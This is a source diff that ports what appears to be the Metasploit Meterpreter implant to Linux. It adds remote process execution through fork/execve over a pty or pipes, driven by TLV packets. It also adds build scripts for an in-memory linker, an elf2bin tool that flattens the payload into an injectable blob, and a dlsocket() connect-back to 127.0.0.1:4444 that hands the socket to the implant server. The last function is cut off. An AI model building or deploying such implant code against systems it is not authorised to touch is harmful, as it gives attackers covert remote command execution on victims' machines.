packet_add_tlv_uint(response, TLV_TYPE_HANDLE, (DWORD)handle);
|
||||
else
|
||||
result = GetLastError();
|
||||
#else
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
|
||||
// Send the response packet to the requestor
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
@ -59,6 +67,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
|
|||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE handle;
|
||||
#ifdef _WIN32
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
|
||||
|
@ -70,13 +79,70 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
|
|||
}
|
||||
else
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
|
||||
#else
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
// Send the response packet to the requestor
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
#ifndef _WIN32
|
||||
|
||||
int try_open_pty(int *master, int *slave)
|
||||
{
|
||||
int lmaster, lslave;
|
||||
char path[512];
|
||||
struct termios newtio;
|
||||
|
||||
lmaster = open("/dev/ptmx", O_RDWR | O_NOCTTY);
|
||||
if(lmaster == -1) return -1;
|
||||
|
||||
dprintf("master fd is %d", lmaster);
|
||||
|
||||
if(grantpt(lmaster) == -1) {
|
||||
close(lmaster);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(unlockpt(lmaster) == -1) {
|
||||
close(lmaster);
|
||||
return -1;
|
||||
}
|
||||
|
||||
memset(path, 0, sizeof(path));
|
||||
if(ptsname_r(lmaster, path, sizeof(path)-2) == -1) {
|
||||
close(lmaster);
|
||||
return -1;
|
||||
}
|
||||
|
||||
lslave = open(path, O_RDWR | O_NOCTTY);
|
||||
if(lslave == -1) {
|
||||
close(lmaster);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*master = lmaster;
|
||||
*slave = lslave;
|
||||
|
||||
if(tcgetattr(lmaster, &newtio) == -1)
|
||||
// oh well
|
||||
return 0;
|
||||
|
||||
// man 3 termios for more information (under linux, at least).
|
||||
|
||||
newtio.c_lflag |= (ISIG|ICANON);
|
||||
newtio.c_lflag &= ~ECHO;
|
||||
|
||||
// can't do anything about it if it fails
|
||||
tcsetattr(lmaster, TCSANOW, &newtio);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Executes a process using the supplied parameters, optionally creating a
|
||||
* channel through which output is filtered.
|
||||
|
@ -87,11 +153,12 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
|
|||
*/
|
||||
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
#ifdef _WIN32
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
Packet *response = packet_create_response(packet);
|
||||
HANDLE in[2], out[2];
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
PCHAR path, arguments, commandLine = NULL;
|
||||
DWORD flags = 0, createFlags = 0;
|
||||
BOOL inherit = FALSE;
|
||||
|
@ -478,6 +545,169 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||
|
||||
if( cpDesktop )
|
||||
free( cpDesktop );
|
||||
#else
|
||||
PCHAR path, arguments, commandLine = NULL;
|
||||
DWORD flags;
|
||||
char *argv[64], *p;
|
||||
int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
|
||||
int master = -1, slave = -1;
|
||||
int devnull = -1;
|
||||
int idx;
|
||||
pid_t pid;
|
||||
int have_pty = -1;
|
||||
|
||||
dprintf( "[PROCESS] request_sys_process_execute" );
|
||||
|
||||
do {
|
||||
// Get the execution arguments
|
||||
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
|
||||
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
|
||||
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
|
||||
|
||||
dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");
|
||||
|
||||
// how to handle a single string argument line? we don't have a lexer/parser to
|
||||
// correctly handle stuff like quotes, etc. could dumbly parse on white space to
|
||||
// build arguments for execve. revert to /bin/sh -c style execution?
|
||||
// XXX.. don't feel like messing with it atm
|
||||
|
||||
idx = 0;
|
||||
if(arguments) {
|
||||
p = arguments;
|
||||
argv[idx++] = path;
|
||||
argv[idx++] = arguments;
|
||||
for(p = strchr(p, ' '); p && idx < 63; p = strchr(p, ' ')) {
|
||||
*p++ = 0;
|
||||
argv[idx++] = p;
|
||||
}
|
||||
argv[idx++] = NULL;
|
||||
} else {
|
||||
argv[idx++] = path;
|
||||
argv[idx++] = NULL;
|
||||
}
|
||||
|
||||
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
|
||||
// such that input can be directed to and from the remote endpoint
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
|
||||
{
|
||||
ProcessChannelContext * ctx = NULL;
|
||||
PoolChannelOps chops;
|
||||
Channel *newChannel;
|
||||
|
||||
// Allocate the channel context
|
||||
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
memset(&chops, 0, sizeof(PoolChannelOps));
|
||||
|
||||
// Initialize the channel operations
|
||||
chops.native.context = ctx;
|
||||
chops.native.write = process_channel_write;
|
||||
chops.native.close = process_channel_close;
|
||||
chops.native.interact = process_channel_interact;
|
||||
chops.read = process_channel_read;
|
||||
|
||||
// Allocate the pool channel
|
||||
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Set the channel's type to process
|
||||
channel_set_type(newChannel, "process");
|
||||
|
||||
have_pty = !try_open_pty(&master, &slave);
|
||||
|
||||
if(have_pty)
|
||||
{
|
||||
ctx->pStdin = master;
|
||||
ctx->pStdout = master;
|
||||
} else {
|
||||
// fall back to pipes if there is no tty
|
||||
// Allocate the stdin and stdout pipes
|
||||
if(pipe(&in) || pipe(&out))
|
||||
{
|
||||
channel_destroy(newChannel, NULL);
|
||||
|
||||
newChannel = NULL;
|
||||
|
||||
free(ctx);
|
||||
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
// Set the context to have the write side of stdin and the read side
|
||||
// of stdout
|
||||
ctx->pStdin = in[1];
|
||||
ctx->pStdout = out[0];
|
||||
}
|
||||
|
||||
fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
|
||||
fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);
|
||||
|
||||
// Add the channel identifier to the response packet
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
|
||||
} else {
|
||||
// need to /dev/null it all
|
||||
if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
|
||||
// XXX This is possible, due to chroots etc. We could close
|
||||
// fd 0/1/2 and hope the program isn't buggy.
|
||||
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
pid = fork();
|
||||
switch(pid) {
|
||||
|
||||
int i;
|
||||
case -1:
|
||||
result = errno;
|
||||
break;
|
||||
|
||||
case 0:
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
|
||||
if(have_pty)
|
||||
{
|
||||
dup2(slave, 0);
|
||||
dup2(slave, 1);
|
||||
dup2(slave, 2);
|
||||
} else {
|
||||
dup2(in[0], 0);
|
||||
dup2(out[1], 1);
|
||||
dup2(out[1], 2);
|
||||
}
|
||||
} else {
|
||||
dup2(devnull, 0);
|
||||
dup2(devnull, 1);
|
||||
dup2(devnull, 2);
|
||||
}
|
||||
for(i = 3; i < 1024; i++) close(i);
|
||||
|
||||
execve(path, argv, environ);
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
default:
|
||||
dprintf("child pid is %d\n", pid);
|
||||
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
|
||||
if(have_pty) {
|
||||
close(slave);
|
||||
} else {
|
||||
close(in[0]);
|
||||
close(out[1]);
|
||||
close(out[2]);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
} while(0);
|
||||
#endif
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
|
@ -503,6 +733,7 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
|
|||
DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
|
||||
HANDLE h = NULL;
|
||||
|
||||
#ifdef _WIN32
|
||||
// Try to attach to the process
|
||||
if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
|
||||
{
|
||||
|
@ -514,6 +745,9 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
|
|||
result = GetLastError();
|
||||
|
||||
CloseHandle(h);
|
||||
#else
|
||||
kill(pid, 9);
|
||||
#endif
|
||||
}
|
||||
|
||||
// Transmit the response
|
||||
|
@ -528,6 +762,8 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
|
|||
*/
|
||||
DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
|
||||
{
|
||||
|
||||
#ifdef _WIN32
|
||||
Packet * response = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
@ -570,7 +806,13 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
|
|||
packet_transmit_response( result, remote, response );
|
||||
|
||||
} while( 0 );
|
||||
#else
|
||||
DWORD result = ERROR_NOT_SUPPORTED;
|
||||
Packet * response = packet_create_response( packet );
|
||||
|
||||
packet_transmit_response( result, remote, response );
|
||||
#endif
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
@ -581,7 +823,11 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
|
|||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
#ifdef _WIN32
|
||||
packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId());
|
||||
#else
|
||||
packet_add_tlv_uint(response, TLV_TYPE_PID, gettid());
|
||||
#endif
|
||||
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
|
@ -595,13 +841,17 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
|
|||
*/
|
||||
DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
|
||||
#ifdef _WIN32
|
||||
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
|
||||
LPDWORD needed);
|
||||
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
|
||||
DWORD baseSize);
|
||||
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
|
||||
DWORD pathSize);
|
||||
Packet *response = packet_create_response(packet);
|
||||
|
||||
HMODULE mod;
|
||||
HANDLE psapi = NULL;
|
||||
HANDLE handle;
|
||||
|
@ -672,6 +922,9 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
|
|||
// Close the psapi library and clean up
|
||||
if (psapi)
|
||||
FreeLibrary(psapi);
|
||||
#else
|
||||
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
|
||||
#endif
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -688,14 +941,20 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
|
|||
DWORD process_channel_read(Channel *channel, Packet *request,
|
||||
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_read. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
#ifdef _WIN32
|
||||
if (!ReadFile(ctx->pStdout, buffer, bufferSize, bytesRead, NULL))
|
||||
result = GetLastError();
|
||||
|
||||
#else
|
||||
if((*bytesRead = read(ctx->pStdout, buffer, bufferSize) < 0)) {
|
||||
result = GetLastError();
|
||||
}
|
||||
|
||||
#endif
|
||||
return result;
|
||||
}
|
||||
|
||||
|
@ -710,10 +969,15 @@ DWORD process_channel_write(Channel *channel, Packet *request,
|
|||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_write. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
#ifdef _WIN32
|
||||
if (!WriteFile(ctx->pStdin, buffer, bufferSize, bytesWritten, NULL))
|
||||
result = GetLastError();
|
||||
|
||||
#else
|
||||
if((*bytesWritten = write(ctx->pStdin, buffer, bufferSize)) < 0) {
|
||||
result = GetLastError();
|
||||
}
|
||||
#endif
|
||||
return result;
|
||||
}
|
||||
|
||||
|
@ -722,22 +986,25 @@ DWORD process_channel_write(Channel *channel, Packet *request,
|
|||
*/
|
||||
DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
|
||||
{
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)context;
|
||||
|
||||
dprintf( "[PROCESS] process_channel_close. channel=0x%08X, ctx=0x%08X", channel, ctx );
|
||||
|
||||
if (channel_is_interactive(channel))
|
||||
scheduler_remove_waitable(ctx->pStdout);
|
||||
|
||||
#ifdef _WIN32
|
||||
// Note: We dont close the handle ctx->pStdout as this will introduce a synchronization
|
||||
// problem with the channels interactive thread, specifically the call to WaitForMultipleObjects
|
||||
// will have undefined behaviour. The interactive thread will close the handle instead.
|
||||
|
||||
CloseHandle(ctx->pStdin);
|
||||
#else
|
||||
close(ctx->pStdin);
|
||||
#endif
|
||||
|
||||
free(ctx);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
@ -747,10 +1014,13 @@ DWORD process_channel_close(Channel *channel, Packet *request, LPVOID context)
|
|||
*/
|
||||
DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
|
||||
{
|
||||
|
||||
ProcessChannelContext *ctx = (ProcessChannelContext *)channel->ops.stream.native.context;
|
||||
DWORD bytesRead, bytesAvail = 0;
|
||||
CHAR buffer[16384];
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
|
||||
#ifdef _WIN32
|
||||
if( PeekNamedPipe( ctx->pStdout, NULL, 0, NULL, &bytesAvail, NULL ) )
|
||||
{
|
||||
if( bytesAvail )
|
||||
|
@ -767,14 +1037,38 @@ DWORD process_channel_interact_notify(Remote *remote, Channel *channel)
|
|||
Sleep( 100 );
|
||||
}
|
||||
}
|
||||
#else
|
||||
bytesRead = read ( ctx->pStdout, buffer, sizeof(buffer) - 1);
|
||||
|
||||
if ( bytesRead > 0 )
|
||||
|
||||
{
|
||||
dprintf("[%s] bytesRead: %d, errno: %d", __FUNCTION__, bytesRead, errno);
|
||||
|
||||
result = channel_write ( channel, remote, NULL, 0, buffer, bytesRead, NULL );
|
||||
}
|
||||
|
||||
if(bytesRead == -1) {
|
||||
if(errno == EINTR || errno == EWOULDBLOCK || errno == EAGAIN) {
|
||||
errno = ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
if(bytesRead == 0) {
|
||||
errno = ECONNRESET;
|
||||
}
|
||||
|
||||
if(bytesRead <= 0) result = errno;
|
||||
|
||||
#endif
|
||||
if( GetLastError() != ERROR_SUCCESS )
|
||||
{
|
||||
dprintf("Closing down socket: errno: %d\n", errno);
|
||||
process_channel_close( channel, NULL, ctx );
|
||||
channel_close( channel, remote, NULL, 0, NULL );
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
|
@ -808,12 +1102,19 @@ DWORD request_sys_process_wait(Remote *remote, Packet *packet)
|
|||
DWORD result = ERROR_INVALID_PARAMETER;
|
||||
|
||||
handle = (HANDLE)packet_get_tlv_value_uint( packet, TLV_TYPE_HANDLE );
|
||||
#ifdef _WIN32
|
||||
|
||||
if( handle )
|
||||
{
|
||||
if( WaitForSingleObject( handle, INFINITE ) == WAIT_OBJECT_0 )
|
||||
result = ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
#else
|
||||
if( ! waitpid(handle, NULL, WNOHANG))
|
||||
{
|
||||
result = ERROR_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
packet_transmit_response( result, remote, response );
|
||||
|
||||
return result;
|
||||
|
|
|
@ -0,0 +1,15 @@
|
|||
#!/bin/sh
|
||||
|
||||
OSSL=openssl-0.9.8o
|
||||
|
||||
pushd $OSSL
|
||||
./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
|
||||
popd
|
||||
|
||||
export LIBC=../../bionic/libc
|
||||
export LIBM=../../bionic/libm
|
||||
export COMPILED=../../bionic/compiled
|
||||
|
||||
export CFLAGS="-I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc"
|
||||
|
||||
make -C $OSSL depend clean all
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -1,12 +1,19 @@
|
|||
CFLAGS=-I${PWD}/hack
|
||||
CFLAGS+= -I /opt/bionic/libc/include -I /opt/bionic/libc/kernel/common/linux/ -I /opt/bionic/libc/kernel/common/ -I /opt/bionic/libc/arch-x86/include/
|
||||
CFLAGS+= -I /opt/bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I/opt/bionic/libc/private -fPIC -DPIC
|
||||
CFLAGS+= -I ../../bionic/libc/include -I ../../bionic/libc/kernel/common/linux/ -I ../../bionic/libc/kernel/common/ -I ../../bionic/libc/arch-x86/include/
|
||||
CFLAGS+= -I ../../bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I../../bionic/libc/private -fPIC -DPIC
|
||||
CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -DANDROID_X86_LINKER -ggdb
|
||||
CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN
|
||||
|
||||
OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o
|
||||
|
||||
all: $(OBJ)
|
||||
gcc $(CFLAGS) -shared -o msflinker.so ${OBJ}
|
||||
all: msflinker msflinker.bin rtldtest
|
||||
|
||||
msflinker: $(OBJ)
|
||||
gcc -Wl,-script=script $(CFLAGS) -o msflinker $(OBJ) -lgcc
|
||||
|
||||
msflinker.bin: msflinker elf2bin.c
|
||||
gcc -o elf2bin elf2bin.c
|
||||
./elf2bin
|
||||
|
||||
libc.h: ../../bionic/compiled/libc.so
|
||||
../../../tools/so2h.pl ../../bionic/compiled/libc.so libc
|
||||
|
@ -23,13 +30,13 @@ libssl.h: ../../bionic/compiled/libssl.so
|
|||
libsupport.h: ../../bionic/compiled/libsupport.so
|
||||
../../../tools/so2h.pl ../../bionic/compiled/libsupport.so libsupport
|
||||
|
||||
metsrv_main.h: ../../bionic/compiled/metsrv_main
|
||||
../../../tools/so2h.pl ../../bionic/compiled/metsrv_main metsrv_main
|
||||
libmetsrv_main.h: ../../bionic/compiled/libmetsrv_main.so
|
||||
../../../tools/so2h.pl ../../bionic/compiled/libmetsrv_main.so libmetsrv_main
|
||||
|
||||
metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h metsrv_main.h libsupport.h
|
||||
metsrv_rtld.o: libc.h libm.h libcrypto.h libssl.h libmetsrv_main.h libsupport.h
|
||||
|
||||
test: $(OBJ)
|
||||
gcc $(CFLAGS) -o msflinker $(OBJ) -lgcc
|
||||
rtldtest: rtldtest.c msflinker
|
||||
gcc -o rtldtest rtldtest.c -DEP=`objdump -f msflinker | grep start | awk '{ print $$3 }'`
|
||||
|
||||
.s.o:
|
||||
gcc $(CFLAGS) -c $<
|
||||
|
@ -38,7 +45,7 @@ test: $(OBJ)
|
|||
gcc $(CFLAGS) -c $<
|
||||
|
||||
clean:
|
||||
rm metsrv_main.h libssl.h libcrypto.h libm.h libc.h
|
||||
rm *.o
|
||||
rm msflinker msflinker.so
|
||||
|
||||
rm -f libmetsrv_main.h libssl.h libcrypto.h libm.h libc.h libsupport.h
|
||||
rm -f *.o
|
||||
rm -f msflinker msflinker.so
|
||||
rm -f rtldtest elf2bin
|
||||
|
|
|
@ -90,11 +90,9 @@ char *strcpy(char *dest, const char *src)
|
|||
|
||||
int strcmp(const char *s1, const char *s2)
|
||||
{
|
||||
do {
|
||||
if(*s1++ != *s2++) {
|
||||
return (*(const unsigned char *)(s1-1) -
|
||||
*(const unsigned char *)(s2-1));
|
||||
}
|
||||
} while(*s1 != 0);
|
||||
return 0;
|
||||
for(; *s1 == *s2; ++s1, ++s2) {
|
||||
if(*s1 == 0) return 0;
|
||||
}
|
||||
|
||||
return *(unsigned char *)s1 - *(unsigned char *)s2;
|
||||
}
|
||||
|
|
|
@ -0,0 +1,87 @@
|
|||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#include <elf.h>
|
||||
|
||||
#define EIGHTMEM (32 * 1024 * 1024)
|
||||
|
||||
#define BASE 0x90040000
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int fd;
|
||||
struct stat statbuf;
|
||||
unsigned char *data; // ELF file
|
||||
unsigned char *mapping; // target memory location
|
||||
Elf32_Ehdr *ehdr;
|
||||
Elf32_Phdr *phdr;
|
||||
int i;
|
||||
int used = 0;
|
||||
unsigned char *source, *dest;
|
||||
int len;
|
||||
int (*fp)();
|
||||
|
||||
fd = open("msflinker", O_RDONLY);
|
||||
if(fd == -1) {
|
||||
printf("Failed to open msflinker: %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if(fstat(fd, &statbuf) == -1) {
|
||||
printf("Failed to fstat(fd): %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
data = mmap(NULL, statbuf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
|
||||
if(data == MAP_FAILED) {
|
||||
printf("Unable to read ELF file in: %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
mapping = mmap(BASE, EIGHTMEM, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
|
||||
if(mapping == MAP_FAILED) {
|
||||
printf("Failed to mmap(): %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
ehdr = (Elf32_Ehdr *)data;
|
||||
phdr = (Elf32_Phdr *)(data + ehdr->e_phoff);
|
||||
|
||||
printf("data @ %08x, mapping @ %08x\n", data, mapping);
|
||||
|
||||
for(i = 0; i < ehdr->e_phnum; i++, phdr++) {
|
||||
if(phdr->p_type == PT_LOAD) {
|
||||
source = data + (phdr->p_offset & ~4095);
|
||||
dest = mapping + ((phdr->p_vaddr - BASE) & ~4095);
|
||||
len = phdr->p_filesz + (phdr->p_vaddr & 4095);
|
||||
printf("memcpy(%08x, %08x, %08x)\n", dest, source, len);
|
||||
memcpy(dest, source, len);
|
||||
|
||||
used += (phdr->p_memsz + (phdr->p_vaddr & 4095) + 4095) & ~4095 ;
|
||||
}
|
||||
}
|
||||
|
||||
fd = open("msflinker.bin", O_RDWR|O_TRUNC|O_CREAT, 0644);
|
||||
if(fd == -1) {
|
||||
printf("Unable to dump memory: %s\n", strerror(errno));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if(write(fd, mapping, used) != used) {
|
||||
printf("Unable to complete memory dump\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
close(fd);
|
||||
|
||||
}
|
|
@ -9,6 +9,13 @@
|
|||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <signal.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <endian.h>
|
||||
|
||||
#include "linker.h"
|
||||
#include "linker_debug.h"
|
||||
|
@ -19,7 +26,7 @@
|
|||
#include "libcrypto.h"
|
||||
#include "libssl.h"
|
||||
#include "libsupport.h"
|
||||
#include "metsrv_main.h"
|
||||
#include "libmetsrv_main.h"
|
||||
|
||||
struct libs {
|
||||
char *name;
|
||||
|
@ -34,7 +41,7 @@ static struct libs libs[] = {
|
|||
{ "libcrypto.so.0.9.8", libcrypto, libcrypto_length, NULL },
|
||||
{ "libssl.so.0.9.8", libssl, libssl_length, NULL },
|
||||
{ "libsupport.so", libsupport, libsupport_length, NULL },
|
||||
{ "metsrv_main", metsrv_main, metsrv_main_length, NULL },
|
||||
{ "libmetsrv_main.so", libmetsrv_main, libmetsrv_main_length, NULL },
|
||||
};
|
||||
|
||||
#define LIBC_IDX 0
|
||||
|
@ -46,13 +53,16 @@ static struct libs libs[] = {
|
|||
* that's what the API has.
|
||||
*/
|
||||
|
||||
unsigned metsrv_rtld(int fd, void *base)
|
||||
int dlsocket(void *libc);
|
||||
|
||||
unsigned metsrv_rtld(int fd)
|
||||
{
|
||||
int i;
|
||||
int (*libc_init_common)();
|
||||
int (*server_setup)();
|
||||
struct stat statbuf;
|
||||
|
||||
INFO("[ preparing to link. base @ %08x, and fd = %d ]\n", base, fd);
|
||||
INFO("[ preparing to link. fd = %d ]\n", fd);
|
||||
|
||||
for(i = 0; i < sizeof(libs) / sizeof(struct libs); i++) {
|
||||
libs[i].handle = (void *) dlopenbuf(libs[i].name, libs[i].buf, libs[i].size);
|
||||
|
@ -66,6 +76,15 @@ unsigned metsrv_rtld(int fd, void *base)
|
|||
TRACE("[ __libc_init_common is at %08x, calling ]\n", libc_init_common);
|
||||
libc_init_common();
|
||||
|
||||
if(fstat(fd, &statbuf) == -1) {
|
||||
TRACE("[ supplied fd fails fstat() check, using dlsocket() ]\n");
|
||||
fd = dlsocket(libs[LIBC_IDX].handle);
|
||||
if(fd == -1) {
|
||||
TRACE("[ failed to dlsocket() a connection. exit()ing ]\n");
|
||||
exit(-1);
|
||||
}
|
||||
}
|
||||
|
||||
server_setup = dlsym(libs[METSRV_IDX].handle, "server_setup");
|
||||
TRACE("[ metsrv server_setup is at %08x, calling ]\n", server_setup);
|
||||
server_setup(fd);
|
||||
|
@ -74,6 +93,44 @@ unsigned metsrv_rtld(int fd, void *base)
|
|||
exit(1);
|
||||
}
|
||||
|
||||
/*
|
||||
* If we have been executed directly (instead of staging shellcode /
|
||||
* rtldtest binary, we will have an invalid fd passed in. Here we
|
||||
* use the libc symbols to connect to the metasploit session
|
||||
*/
|
||||
|
||||
int dlsocket(void *libc)
|
||||
{
|
||||
int retcode = -1;
|
||||
int fd;
|
||||
int (*libc_socket)();
|
||||
int (*libc_connect)();
|
||||
int (*libc_inet_addr)();
|
||||
struct sockaddr_in sin;
|
||||
|
||||
libc_socket = dlsym(libc, "socket");
|
||||
libc_connect = dlsym(libc, "connect");
|
||||
libc_inet_addr = dlsym(libc, "inet_addr");
|
||||
|
||||
memset(&sin, 0, sizeof(struct sockaddr_in));
|
||||
|
||||
do {
|
||||
fd = libc_socket(AF_INET, SOCK_STREAM, 0);
|
||||
if(fd == -1) break;
|
||||
|
||||
sin.sin_addr.s_addr = libc_inet_addr("127.0.0.1");
|
||||
sin.sin_port = htons(4444);
|
||||
sin.sin_family = AF_INET;
|
||||
|
||||
if(libc_connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) break;
|
||||
retcode = fd;
|
||||
|
||||
} while(0);
|
||||
|
||||
return retcode;
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
* If we are compiled into an executable, we'll start here. I can't be
|
||||
* bothered adding socketcall() wrappers for bind / accept / connect / crap, so
|
||||
|
@ -81,8 +138,16 @@ unsigned metsrv_rtld(int fd, void *base)
|
|||
*
|
||||
*/
|
||||
|
||||
void _start()
|
||||
void sigchld(int signo)
|
||||
{
|
||||
// meh, use bash.
|
||||
metsrv_rtld(5, NULL);
|
||||
waitpid(-1, NULL, WNOHANG);
|
||||
}
|
||||
|
||||
void _start(int fd)
|
||||
{
|
||||
signal(SIGCHLD, sigchld);
